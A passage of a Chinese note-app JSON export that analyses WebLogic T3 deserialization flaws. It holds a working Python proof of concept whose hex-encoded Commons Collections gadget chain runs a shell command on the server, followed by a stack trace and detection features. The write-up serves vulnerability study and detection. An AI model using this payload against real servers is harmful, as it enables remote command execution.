:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptnL-1673886074171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WK4o-1673886074170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aYVo-1673886074173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QWux-1673886074172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经MarshalledObject封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fAF-1673886074175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0vuD-1673886074174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6SkA-1673886074178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8gYG-1673886074177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Obss-1673886074180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OAFC-1673886074179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJSH-1673886074182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hcKB-1673886074181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3nj-1673886074184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1dta-1673886074183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8UEC-1673886074186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;um0a-1673886074185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QwPy-1673886074188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWQH-1673886074187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KHxA-1673886074190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4URA-1673886074189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwF1-1673886074192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5QcQ-1673886074191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2JSl-1673886074194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J2kK-1673886074193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BA7D-1673886074196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMJj-1673886074195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;org.apache.commons.collections.functors.InvokerTransformer&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hXET-1673886074198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RUqt-1673886074197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hc8B-1673886074200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7xyy-1673886074199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;luaE-1673886074202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMPL-1673886074201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XWzA-1673886074204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5JE9-1673886074203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NCtE-1673886074206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6sg-1673886074205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1fWs-1673886074208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2szw-1673886074207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dzIx-1673886074210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vX4e-1673886074209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AlVY-1673886900345&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5217/WEBRESOURCEad9893f1807a8bfe4e24f71ba84733c4&#34;,&#34;width&#34;:1492,&#34;height&#34;:216},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qay7-1673920222284&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lGMM-1673920222285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zh9v-1673920755180&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FsOY-1673920755133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diIT-1673920755132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:58, MarshalledObject (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dgik-1673920755135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EGAu-1673920755134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76t0-1673920755137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TKlU-1673920755136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:57, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0OUt-1673920755139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lxGq-1673920755138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FP1A-1673920755141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y9gk-1673920755140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:601, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sETw-1673920755143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YFod-1673920755142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadResolve:1091, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PqKH-1673920755145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GkXj-1673920755144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1805, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j7VY-1673920755147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gVIc-1673920755146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7bgT-1673920755149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P55U-1673920755148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c9PD-1673920755151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwLS-1673920755150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEVR-1673920755153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RhK2-1673920755152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gDeV-1673920755155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7yAA-1673920755154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hqHG-1673920755157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IBie-1673920755156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nMw2-1673920755159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KBAp-1673920755158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;neQ1-1673920755161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8M7-1673920755160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gLL3-1673920755163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O8IF-1673920755162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTlx-1673920755165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vd6r-1673920755164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5kaG-1673920755167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAz5-1673920755166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RdGP-1673920755169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S0fQ-1673920755168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;atnR-1673920755171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;seiJ-1673920755170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Scj7-1673920755173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rqV3-1673920755172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Phes-1673920755175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HtN5-1673920755174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jtCP-1673920755177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dx7Y-1673920755176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ehtn-1673920755179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R5sS-1673920755178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BJ5D-1673920224798&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JKyI-1673920224797&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;It8n-1673921045949&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5227/WEBRESOURCE52413d95b1ec3902a87507998af82fb8&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ug37-1673921467121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5238/WEBRESOURCE5167f9617801306c27a7de0cec56eba5&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HFjw-1673921480114&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5240/WEBRESOURCE1355df45d95fbb599f4afa5a1a223dcf&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76Bz-1673921505120&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5242/WEBRESOURCEfa42c2239e3d3cb224b253ae2084fcba&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;763r-1673921505125&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTUk-1673921505123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征上，出现的类变为&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;org.apache.commons.collections.functors.InvokerTransformer&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q9oS-1673920002593&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5219/WEBRESOURCEcc5ca083536ac7311b69e55852a8e032&#34;,&#34;width&#34;:635,&#34;height&#34;:546},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3zX-1673920205587&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5222/WEBRESOURCEdc1b0d12439c1f9f6fdc9dc8972f5702&#34;,&#34;width&#34;:637,&#34;height&#34;:543},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;np3H-1673920001206&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBsz-1673920001205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FJUY-1673936935586&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ys9s-1673936935581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2555&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OwuD-1673922234954&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yS31-1673922234953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ruzm-1673936953422&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;sBbI-1673936953408&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#